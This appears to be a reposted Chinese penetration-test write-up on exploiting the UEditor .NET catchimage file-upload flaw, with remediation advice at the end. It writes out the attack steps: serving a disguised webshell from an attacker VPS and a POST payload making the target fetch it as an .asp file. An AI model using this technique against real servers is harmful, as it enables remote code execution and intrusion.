IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 网络协议 -> 安全-渗透事记(七) -> 正文阅读

[网络协议]安全-渗透事记(七)

前言

信息较敏感,仅文字记录
某单位的授权渗透测试,请勿用于非法用途

ueditor | github

一、漏洞

ueditor net版本文件上传

二、渗透测试

  • 第一天在测试一个系统的时候,发现URL里面有一个ueditor,但是名称和路径都修改过
  • 点击上传图片的时候,试了挺多种方式都没法绕过限制,就放弃文件上传去试其他的漏洞了
  • 第二天的时候,百度了一下发现ueditor已经没有进行更新了
    并且最新版本还是存在漏洞的,所以还是试了一下
  • 漏洞点是存在于ueditor/net/controller.ashx?action=catchimage,在检测之前需要有一个具有公网IP的VPS服务器
    如果是内网的机器,就只需要用自己的电脑就行
  • 先在服务器上创建一个图片马,内容是恶意代码,但后缀必须是图片后缀
    然后使用python在图片马的路径下,在终端开启http服务,让测试目标能够访问到图片马
    访问图片马的方式和正常访问页面是一样的http://你的服务器IP:端口/文件
python2开启http:
python -m SimpleHTTPServer [端口]

python3开启http:
python -m http.server [端口]
  • 在抓取文件上传包的时,发现目标系统还必须有一个encode=utf-8的参数,要不然会上传失败
    不同的系统应该不大一样,测试目标有杀软,起初以为传失败了,换了个免杀马后就成功了
  • 大致的思路:
    上传时没有检测文件test.png内容,上传文件后后缀被修改成了恶意的后缀.asp.aspx应该也行,还是得看目标能解析什么后缀)
    返回的json格式数据中有url参数写明上传后的路径,并且上传的目录能够解析这个脚本
    如果能上传又能解析的话,就是高危了
POST 路径/ueditor/net/controller.ashx?action=catchimage&encode=utf-8 HTTP/1.1
....请求头...

source[]=http://你的服务器IP:端口/test.png?.asp

三、修复建议

  • 更换一个较为安全的编辑器(推荐)
  • 设置上传的目录为只读,禁止写入
  • 检查上传的路径是否存在畸形文件并删除,如asp、aspx等后缀的文件
  • 找到controller.ashx源码,当action为catchimage的时候,添加代码对文件头、文件后缀、cookie等信息进行校验(未测试过,可能会造成无法上传文件,不推荐)
  网络协议 最新文章
使用Easyswoole 搭建简单的Websoket服务
常见的数据通信方式有哪些?
Openssl 1024bit RSA算法---公私钥获取和处
HTTPS协议的密钥交换流程
《小白WEB安全入门》03. 漏洞篇
HttpRunner4.x 安装与使用
2021-07-04
手写RPC学习笔记
K8S高可用版本部署
mySQL计算IP地址范围
上一篇文章      下一篇文章      查看所有文章
加:2022-04-01 23:48:22  更:2022-04-01 23:48:32 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/26 5:45:56-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码